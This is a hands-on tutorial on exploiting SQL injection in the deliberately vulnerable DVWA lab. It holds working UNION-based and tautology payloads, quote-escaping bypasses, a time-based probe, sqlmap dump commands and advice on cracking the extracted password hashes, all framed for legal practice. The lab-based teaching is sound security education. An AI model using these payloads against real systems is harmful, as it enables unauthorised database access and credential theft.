SQL Injection Tutorial: Hands-On Practice with DVWA [2026]
Mastering SQL injection requires more than just reading about it—you need hands-on practice. This sql injection tutorial walks you through testing and exploiting SQL injection vulnerabilities using DVWA (Damn Vulnerable Web Application), the industry-standard practice platform for ethical hackers and penetration testers.
Whether you're learning how to do sql injection for the first time or refining your techniques, this practical guide covers everything from basic exploitation to advanced bypass methods. By the end, you'll have real-world experience identifying and exploiting SQL injection vulnerabilities in a safe, legal environment.
Why Hands-On SQL Injection Practice Matters
Theory alone won't make you proficient at identifying SQL injection vulnerabilities. Here's why practical sql injection practice is essential:
- Understanding Real-World Behavior: See how applications respond to malicious input
- Building Muscle Memory: Develop instincts for crafting effective payloads
- Learning Defense Techniques: Understanding exploitation helps you build better defenses
- Safe Environment: Practice legally without risking criminal charges
- Portfolio Building: Document findings for job applications and certifications
Before diving in, make sure you understand the fundamentals covered in our beginner's guide to SQL injection and familiarize yourself with different SQL injection types.
What is DVWA?
Damn Vulnerable Web Application (DVWA) is an open-source PHP/MySQL web application designed to be intentionally vulnerable. Created by security professional Robin Wood (digininja), DVWA provides a legal environment to practice common web vulnerabilities including:
- SQL Injection (the focus of this tutorial)
- Cross-Site Scripting (XSS)
- Command Injection
- File Upload vulnerabilities
- CSRF (Cross-Site Request Forgery)
- And more
DVWA features four security levels:
- Low: Minimal to no security controls (perfect for beginners)
- Medium: Basic security measures (introduces bypass techniques)
- High: Strong security controls (requires advanced techniques)
- Impossible: Properly secured code (demonstrates best practices)
This progressive difficulty makes DVWA ideal for learning sql injection testing systematically.
Setting Up Your SQL Injection Lab Environment
Before starting this sql injection example walkthrough, you'll need to set up DVWA. Here's how:
Prerequisites
You'll need:
- Operating System: Windows, Linux, or macOS
- Web Server: Apache or Nginx
- PHP: Version 7.0 or higher
- MySQL/MariaDB: Version 5.0 or higher
- Browser: Firefox or Chrome (with developer tools)
The easiest installation methods:
Option 1: Using Docker (Recommended)
# Pull the DVWA Docker image
docker pull vulnerables/web-dvwa
# Run DVWA container
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Access DVWA at http://localhost
Option 2: Using XAMPP (Windows/Mac)
- Download and install XAMPP
- Clone DVWA into htdocs:
cd C:\xampp\htdocs # Windows
# cd /Applications/XAMPP/htdocs # Mac
git clone https://github.com/digininja/DVWA.git
cd DVWA
- Copy
config/config.inc.php.disttoconfig/config.inc.php - Edit database credentials if needed
- Start Apache and MySQL from XAMPP Control Panel
- Navigate to
http://localhost/DVWA
Option 3: Manual Installation (Linux)
# Install dependencies (Ubuntu/Debian)
sudo apt update
sudo apt install apache2 mysql-server php php-mysqli php-gd libapache2-mod-php
# Clone DVWA
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA
# Configure
cd DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php # Update database credentials
# Restart Apache
sudo systemctl restart apache2
Initial Setup
- Navigate to DVWA: Open
http://localhost/DVWA(or your server IP) - Login: Default credentials are
admin/password - Setup Database: Click "Create / Reset Database" button
- Login Again: Use
admin/passwordafter database setup - Set Security Level: Go to "DVWA Security" and select "Low"
You're now ready to start your sql injection lab practice!
For the official installation guide and troubleshooting, visit the DVWA GitHub repository.
SQL Injection Practice: DVWA Low Security
Let's start with the basics. DVWA's Low security level has no input validation or protection mechanisms—perfect for understanding core SQL injection concepts.
Step 1: Identify the Vulnerability
- From the DVWA main menu, click "SQL Injection"
- You'll see a simple form with the text: "User ID:"
- Enter a valid user ID like
1and click "Submit"
Expected output:
ID: 1
First name: admin
Surname: admin
This tells us the application queries a user database and displays results.
Step 2: Test for SQL Injection
Let's test if the input is vulnerable. Try entering:
1' OR '1'='1
Result: You should see multiple users displayed (admin, Gordon, Hack, Pablo, Bob).
What happened? The backend query likely looks like:
SELECT first_name, surname FROM users WHERE user_id = '$id';
Your input turned it into:
SELECT first_name, surname FROM users WHERE user_id = '1' OR '1'='1';
Since '1'='1' is always TRUE, the OR condition returns all users. Congratulations—you've found a SQL injection vulnerability!
Step 3: Determine Number of Columns
Before we can extract data using UNION attacks (covered in our union-based SQL injection guide), we need to know how many columns the original query returns.
Try:
1' ORDER BY 1#
Result: Works (displays data)
Try:
1' ORDER BY 2#
Result: Works
Try:
1' ORDER BY 3#
Result: Error! "Unknown column '3' in 'order clause'"
Conclusion: The query returns 2 columns (first_name and surname).
Note: The # symbol comments out the rest of the query in MySQL.
Step 4: Extract Database Information
Now we can use UNION SELECT to extract database information:
Get Database Version
1' UNION SELECT NULL, VERSION()#
Result displays the MySQL version (e.g., "5.7.38-0ubuntu0.18.04.1").
Get Current Database Name
1' UNION SELECT NULL, DATABASE()#
Result: "dvwa" (the database name)
Get Current User
1' UNION SELECT NULL, USER()#
Result displays the database user (e.g., "root@localhost")
Step 5: Enumerate Tables
Let's find all tables in the database using the information_schema:
1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = 'dvwa'#
Result shows table names:
- guestbook
- users ← This one looks interesting!
Step 6: Enumerate Columns
Let's see what columns exist in the users table:
1' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'users'#
Result shows columns:
- user_id
- first_name
- last_name
- user
- password ← Jackpot!
- avatar
Step 7: Extract Sensitive Data
Now extract usernames and password hashes:
1' UNION SELECT user, password FROM users#
Result displays:
ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
...
You've successfully extracted all usernames and password hashes! These are MD5 hashes. You could crack them using:
- Online MD5 databases (e.g., CrackStation)
- Tools like
hashcatorjohn - Rainbow tables
For example, the admin password hash 5f4dcc3b5aa765d61d8327deb882cf99 decrypts to password.
Step 8: Advanced Extraction (Concatenation)
For cleaner output, concatenate multiple columns:
1' UNION SELECT NULL, CONCAT(user, ':', password) FROM users#
Result:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
hack:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithny:5f4dcc3b5aa765d61d8327deb882cf99
Much cleaner! This technique is essential for exfiltrating data efficiently.
SQL Injection Practice: DVWA Medium Security
Now that you've mastered Low security, let's tackle Medium. Change the security level:
- Go to DVWA Security in the left menu
- Select Medium
- Click Submit
- Return to SQL Injection
Understanding Medium Security Protection
In Medium security, DVWA implements basic protection:
- Input is passed via POST instead of GET
mysql_real_escape_string()is applied (escapes quotes)- But it's still vulnerable!
Bypass Technique
When you try your previous payload 1' OR '1'='1, it doesn't work. The single quotes are escaped.
The trick? You don't need quotes for numeric IDs!
Try:
1 OR 1=1
Result: All users are displayed! The backend query becomes:
SELECT first_name, surname FROM users WHERE user_id = 1 OR 1=1;
No quotes needed, so the escaping doesn't help.
Extracting Data (Medium Level)
Use the same techniques, but without quotes around numeric values:
Determine Columns
1 ORDER BY 2
Extract Database Name
1 UNION SELECT NULL, DATABASE()
Extract Tables
1 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = DATABASE()
Note: We use DATABASE() instead of 'dvwa' to avoid quotes.
Extract Columns
1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 0x7573657273
What's 0x7573657273? It's the hexadecimal representation of "users". This bypasses the quote restriction!
To convert strings to hex:
echo -n "users" | xxd -p
# Result: 7573657273
Add 0x prefix: 0x7573657273
Extract User Data
1 UNION SELECT user, password FROM users
Success! You've bypassed Medium security.
Alternative Bypass: Numeric Characters
Another technique is using CHAR() function:
1 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = CHAR(117,115,101,114,115)
Where CHAR(117,115,101,114,115) = "users" in ASCII.
SQL Injection Practice: DVWA High Security
Ready for a real challenge? Set security level to High and return to SQL Injection.
Understanding High Security Protection
High security implements:
- Session-based CSRF tokens
- Popup window for input (harder to automate)
- Still uses string-based user_id
- But still vulnerable with the right approach
Attack Strategy
High security uses a separate input page. Click "Click here to change your ID" which opens a popup.
The vulnerability is still there, but you need to:
- Intercept the request with Burp Suite or browser DevTools
- Modify the POST data
- Send modified request
Using Browser Developer Tools
- Open DevTools (F12)
- Go to Network tab
- Enter
1in the popup and submit - Find the POST request to
vulnerabilities/sqli/ - Right-click → Copy as cURL or Edit and Resend
Exploitation Process
Once you intercept the request, you can test payloads:
1' OR '1'='1
Interestingly, High security might still be vulnerable to the same techniques as Low security, just delivered differently.
Using Burp Suite for High Security
For better control, use Burp Suite:
- Configure browser proxy to
127.0.0.1:8080 - Open Burp Suite → Proxy → Intercept
- Submit a query in DVWA
- Intercept the request in Burp
- Modify the
idparameter:
id=1' UNION SELECT user, password FROM users#&Submit=Submit
- Forward the modified request
Burp Suite is essential for advanced SQL injection testing. Learn more about professional testing tools on our tools page.
Blind SQL Injection Techniques
If output isn't directly visible, you might need blind SQL injection techniques:
1' AND SLEEP(5)#
If the response delays 5 seconds, the injection works. This is time-based blind SQL injection.
For comprehensive coverage of blind techniques, see our blind SQL injection guide.
Alternative SQL Injection Practice Platforms
While DVWA is excellent, diversifying your sql injection practice across multiple platforms builds well-rounded skills:
1. PortSwigger Web Security Academy
URL: portswigger.net/web-security
Features:
- Free, high-quality labs
- Covers all SQLi types (UNION, blind, second-order)
- Progressive difficulty
- Detailed solutions and explanations
- Certificate upon completion
Best For: Structured learning with expert guidance
2. HackTheBox
URL: hackthebox.com
Features:
- Realistic vulnerable machines
- CTF-style challenges
- Active community
- Pro tier includes guided tutorials
- Ranks and certifications
Best For: Gamified learning and certification prep
3. TryHackMe
URL: tryhackme.com
Features:
- Beginner-friendly rooms
- Guided SQL injection paths
- Browser-based virtual machines
- Free and premium content
- Learning paths for OWASP Top 10
Best For: Complete beginners wanting guided experiences
4. SQLi Labs by Audi-1
URL: github.com/Audi-1/sqli-labs
Features:
- 75+ different SQL injection scenarios
- Covers GET, POST, header-based, cookies
- Various SQL error types
- Can be installed locally
Best For: Comprehensive manual testing practice
5. WebGoat (OWASP)
URL: owasp.org/www-project-webgoat/
Features:
- Interactive lessons
- Built-in hints and solutions
- Covers entire OWASP Top 10
- Regularly updated
Best For: Understanding vulnerabilities in business context
Comparison Table
| Platform | Difficulty | Cost | Best Feature |
|---|---|---|---|
| DVWA | Beginner | Free | Simple setup, clear progression |
| PortSwigger | All levels | Free | Professional training quality |
| HackTheBox | Intermediate+ | Free/Paid | Realistic scenarios |
| TryHackMe | Beginner-Int | Free/Paid | Guided learning paths |
| SQLi Labs | All levels | Free | Extensive variety (75+ labs) |
| WebGoat | Beginner-Int | Free | Business context |
Practice across multiple platforms to encounter different database systems (MySQL, PostgreSQL, MSSQL, Oracle) and protection mechanisms.
Tools for SQL Injection Testing
Successful penetration testers combine manual testing with automated tools. Here are the essential sql injection testing tools:
Manual Testing (Most Important!)
Description: Crafting payloads by hand using browser DevTools or intercepting proxies.
Pros:
- Deepest understanding
- Bypasses WAFs better
- Finds complex logic flaws
- Required for certifications (OSCP, etc.)
Cons:
- Time-consuming
- Requires expertise
- Prone to human error
Best For: Learning, complex applications, WAF bypass
SQLMap
Description: The most powerful open-source SQL injection automation tool.
Installation:
# Linux/Mac
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py
# Or via package manager
sudo apt install sqlmap # Debian/Ubuntu
brew install sqlmap # macOS
Basic Usage:
# Test a URL parameter
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=...; security=low"
# Enumerate databases
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." --dbs
# Dump specific table
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." -D dvwa -T users --dump
# Full automatic exploitation
sqlmap -u "http://target.com/page?id=1" --batch --forms --crawl=2
Pros:
- Extremely powerful and comprehensive
- Supports all database types
- Built-in features for enumeration, file system access, OS shell
- Free and open-source
Cons:
- Noisy (generates lots of requests)
- Easily detected by WAFs
- Overkill for simple vulnerabilities
Best For: Time-saving automation, comprehensive testing, CTF competitions
Burp Suite
Description: Professional web application security testing platform with powerful proxy features.
Editions:
- Community (free): Basic features, sufficient for learning
- Professional ($449/year): Advanced scanning, Intruder, full features
Key Features for SQLi:
- Proxy: Intercept and modify requests
- Repeater: Test payloads repeatedly
- Intruder: Automated payload testing with custom wordlists
- Scanner (Pro): Automatic vulnerability detection
Best For: Professional testing, detailed analysis, learning request/response flow
Other Notable Tools
jSQL Injection
- GUI-based Java tool
- User-friendly interface
- Good for beginners
- Free and open-source
NoSQLMap
- Specialized for NoSQL injection (MongoDB, CouchDB, etc.)
- Similar to SQLMap but for NoSQL databases
- Essential for modern web apps
Havij
- Windows GUI tool
- Once popular but outdated
- Not recommended (use SQLMap instead)
Tool Comparison Table
| Tool | Type | Difficulty | Detection Risk | Best Use Case |
|---|---|---|---|---|
| Manual | Manual | High | Low | Learning, bypass, complex apps |
| SQLMap | CLI | Medium | High | Automation, comprehensive testing |
| Burp Suite | GUI | Medium | Low-Medium | Professional testing, analysis |
| jSQL | GUI | Low | High | Beginners, visual learners |
| Browser DevTools | Manual | Low | Very Low | Quick testing, learning |
Recommended Workflow
- Detect: Manual testing or Burp Suite passive scan
- Confirm: Manual payload testing
- Analyze: Browser DevTools or Burp Repeater
- Exploit: Manual techniques OR SQLMap for speed
- Document: Screenshot, save requests, write report
Explore more security tools on our dedicated tools page.
Common Mistakes Beginners Make
Avoid these pitfalls during your sql injection tutorial journey:
1. Not Understanding the Underlying Query
Mistake: Copying payloads blindly without understanding what they do.
Solution: Always think about how your input modifies the SQL query. Draw it out:
-- Original
SELECT * FROM users WHERE id = '[INPUT]'
-- Your input: 1' OR '1'='1
SELECT * FROM users WHERE id = '1' OR '1'='1'
2. Forgetting to Comment Out the Rest
Mistake: Payload fails because the rest of the query causes syntax errors.
Solution: Always terminate your payload with comment characters:
- MySQL:
#or--(note the space after--) - MSSQL:
-- - Oracle:
--
Example:
1' UNION SELECT NULL, NULL#
3. Mismatching Column Counts
Mistake: UNION injection fails with "The used SELECT statements have a different number of columns" error.
Solution: Always determine column count first using ORDER BY:
1' ORDER BY 1# -- Success
1' ORDER BY 2# -- Success
1' ORDER BY 3# -- Error! So there are 2 columns
4. Using Single Quotes in Numeric Contexts
Mistake: Payload blocked because the ID parameter is numeric, not string-based.
Solution: Drop the quotes:
-- Wrong (when ID is numeric)
1' OR 1=1#
-- Right
1 OR 1=1#
5. Not Properly URL Encoding
Mistake: Special characters aren't encoded in GET requests, causing payload to fail.
Solution: URL encode special characters:
- Space →
%20or+ #→%23'→%27"→%22
Example:
http://target.com/page?id=1'%20OR%20'1'='1
Burp Suite and browser DevTools handle this automatically.
6. Testing on Live Production Systems
Mistake: Practicing SQL injection on real websites (illegal!).
Solution: ONLY test on:
- Your own applications
- Authorized bug bounty programs
- Legal practice platforms (DVWA, HackTheBox, etc.)
Unauthorized testing is a federal crime under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
7. Not Documenting Findings
Mistake: Discovering vulnerabilities but not recording steps for reports or future reference.
Solution: Document everything:
- Screenshot vulnerable pages
- Save request/response in Burp
- Note exact payloads used
- Record database information extracted
- Write clear reproduction steps
This is essential for professional penetration testing reports.
8. Ignoring Error Messages
Mistake: Not reading SQL error messages that reveal database structure.
Solution: Error messages are goldmines of information:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
This tells you:
- Database type (MySQL)
- Confirms SQL injection exists
- May reveal query structure
9. Using Generic Payloads for All Databases
Mistake: MySQL payloads won't work on MSSQL or Oracle.
Solution: Learn database-specific syntax:
| Database | String Concat | Comment | Sleep |
|---|---|---|---|
| MySQL | CONCAT() | #, -- | SLEEP(5) |
| PostgreSQL | ` | ` | |
| MSSQL | + | -- | WAITFOR DELAY '00:00:05' |
| Oracle | ` | ` |
10. Stopping at User Enumeration
Mistake: Extracting usernames/passwords and thinking you're done.
Solution: In real assessments, demonstrate full impact:
- Extract sensitive business data
- Enumerate database structure
- Test for file system access (
LOAD_FILE(),INTO OUTFILE) - Attempt OS command execution
- Document business risk
See our SQL injection cheat sheet for payload templates and database-specific syntax.
Frequently Asked Questions
Is practicing SQL injection illegal?
Practicing SQL injection is legal ONLY when:
- Testing your own applications
- Using dedicated practice platforms (DVWA, HackTheBox, PortSwigger)
- Participating in authorized bug bounty programs (with proper scope)
- Testing in authorized penetration testing engagements (with written permission)
Testing SQL injection on websites without explicit written authorization is illegal under:
- Computer Fraud and Abuse Act (CFAA) in the US
- Computer Misuse Act in the UK
- Similar cyber crime laws in virtually every country
Violations can result in:
- Criminal prosecution
- Significant fines ($10,000+)
- Prison sentences (up to 5+ years for felonies)
- Civil lawsuits for damages
Always obtain written permission before testing.
How long does it take to learn SQL injection?
Learning timeline varies by depth:
- Basic understanding: 2-4 weeks (completing this tutorial and DVWA)
- Intermediate proficiency: 2-3 months (PortSwigger labs, manual testing)
- Advanced mastery: 6-12 months (CTFs, real-world scenarios, WAF bypass)
- Professional expertise: 1-2+ years (continuous learning, various databases)
Key factors:
- Prior SQL knowledge (accelerates learning)
- Programming background (helps understand logic)
- Practice frequency (daily practice = faster progress)
- Variety of platforms (diverse scenarios build expertise)
Consistency matters more than intensity. 30 minutes of daily practice outperforms occasional weekend marathons.
Can I use SQL injection for bug bounties?
Yes! SQL injection is a high-value finding in bug bounty programs:
Typical Payouts:
- Critical SQLi (data exfiltration, full DB access): $1,000 - $10,000+
- High SQLi (limited extraction, blind): $500 - $2,000
- Medium SQLi (boolean-based, restricted): $200 - $1,000
Popular Platforms:
- HackerOne
- Bugcrowd
- Synack
- Intigriti
- YesWeHack
Important Rules:
- Read the program's scope carefully (some exclude SQLi)
- Never extract real user data (use
LIMIT 1or synthetic data) - Don't use automated scanners unless explicitly allowed
- Stop immediately upon confirming the vulnerability
- Report responsibly with clear reproduction steps
- Include business impact in your report
Refer to each program's specific rules and OWASP's Web Security Testing Guide for responsible disclosure practices.
What's better: manual testing or SQLMap?
Both have their place:
Manual Testing is Better For:
- Learning fundamentals (required!)
- Understanding application logic
- Bypassing Web Application Firewalls (WAFs)
- Complex injection points (JSON, XML, cookies, headers)
- Certification exams (OSCP, OSWE, CEH)
- Professional assessments requiring stealth
- Bug bounty hunting (more control, less noise)
SQLMap is Better For:
- Time-saving automation on confirmed vulnerabilities
- Comprehensive database enumeration
- CTF competitions (speed matters)
- Testing multiple injection points quickly
- Exploiting blind SQL injection (time-intensive manually)
- Extracting large datasets
Recommended Approach:
- Learn manual first (understand the fundamentals)
- Confirm manually (find the injection point yourself)
- Automate with SQLMap (save time on extraction)
- Verify manually (confirm SQLMap's findings)
Professional penetration testers use both. Manual skills differentiate experts from script kiddies.
What should I learn after mastering basic SQL injection?
Progression path:
Next Steps (covered in this series):
- Union-Based SQL Injection advanced techniques (Article 4)
- Blind SQL Injection mastery (Article 5)
- Complete SQL Injection Cheat Sheet (Article 6)
- SQL Injection Prevention & Defense (Article 7)
Advanced Topics:
- Second-Order SQL Injection: Stored payloads executed later
- Out-of-Band SQL Injection: Using DNS/HTTP callbacks for data exfiltration
- NoSQL Injection: MongoDB, CouchDB, Redis exploitation
- ORM Injection: Attacking Hibernate, Entity Framework, etc.
- WAF Bypass Techniques: Evading ModSecurity, Cloudflare, AWS WAF
- Stored Procedure Injection: Database-specific functions
Related Vulnerabilities:
- XML External Entity (XXE): Similar data exfiltration technique
- Command Injection: OS-level code execution
- LDAP Injection: Directory service exploitation
- Cross-Site Scripting (XSS): Client-side injection
Database-Specific Expertise:
- PostgreSQL advanced features (large objects, admin functions)
- MSSQL xp_cmdshell exploitation
- Oracle PL/SQL injection
- SQLite limitations and techniques
Professional Skills:
- Writing detailed penetration testing reports
- Security assessment methodologies (PTES, OWASP WSTG)
- Web Application Firewall bypass techniques
- Certified training (OSCP, OSWE, GWAPT)
Explore more advanced topics in our tutorials section.
Next Steps: Continue Your SQL Injection Mastery
Congratulations! You now have hands-on experience with SQL injection testing from basic to advanced techniques using DVWA. You've learned:
✅ How to set up a safe SQL injection lab environment
✅ Step-by-step exploitation techniques for three security levels
✅ Column enumeration and data extraction methods
✅ Bypass techniques for basic security controls
✅ Alternative practice platforms for diverse scenarios
✅ Essential tools (manual, SQLMap, Burp Suite)
✅ Common mistakes to avoid
Continue the Series
This tutorial is Article 3 in our comprehensive SQL Injection Mastery series:
Foundation (Complete ✅):
- Article 1: What is SQL Injection? Complete Beginner's Guide
- Article 2: SQL Injection Types Explained
- Article 3: SQL Injection Tutorial with DVWA (You Are Here)
Advanced Techniques (Next Steps):
- Article 4: Union-Based SQL Injection Complete Guide ← Start here
- Article 5: Blind SQL Injection: Boolean & Time-Based
Reference & Defense:
- Article 6: SQL Injection Cheat Sheet (2026)
- Article 7: SQL Injection Prevention & Secure Coding Guide
Practice Recommendations
This Week:
- Complete all DVWA SQL Injection levels (Low, Medium, High)
- Extract the entire
userstable on each level - Try extracting data from the
guestbooktable - Practice converting strings to hexadecimal
Next Week:
- Sign up for PortSwigger Web Security Academy (free)
- Complete the SQL Injection learning path
- Attempt 5 TryHackMe SQL injection rooms
- Install and practice with SQLMap
This Month:
- Install SQLi-Labs and complete 20 challenges
- Join a CTF competition with SQL injection challenges
- Read through OWASP SQL Injection documentation
- Start following bug bounty programs accepting SQLi reports
Long-Term:
- Practice daily for 30 minutes minimum
- Build a personal SQL injection lab with multiple database types
- Document your learning journey (blog, GitHub)
- Contribute to open-source security tools
- Consider professional certifications (OSCP, OSWE)
Additional Resources
Official Documentation:
- DVWA Official GitHub - Latest version and updates
- OWASP SQL Injection Guide - Comprehensive methodology
- PortSwigger SQL Injection Learning Materials - Expert-level training
Community & Support:
- r/netsec and r/HowToHack on Reddit
- HackTheBox forums and Discord
- OWASP Slack channels
- Information Security Stack Exchange
Books (Advanced Reading):
- "The Web Application Hacker's Handbook" by Dafydd Stuttard & Marcus Pinto
- "SQL Injection Attacks and Defense" by Justin Clarke
- "Penetration Testing" by Georgia Weidman
Stay Connected
Explore more cybersecurity content:
- Browse our tutorials section for step-by-step guides
- Check out our security tools collection
- Read more SQL Injection articles
Remember: Ethical hacking requires both technical skills and moral responsibility. Always practice legally, obtain proper authorization, and use your knowledge to defend, not to harm.
Happy (ethical) hacking! 🛡️
Last Updated: January 2026 | Author: Andrax Pentester / Syed Abrar
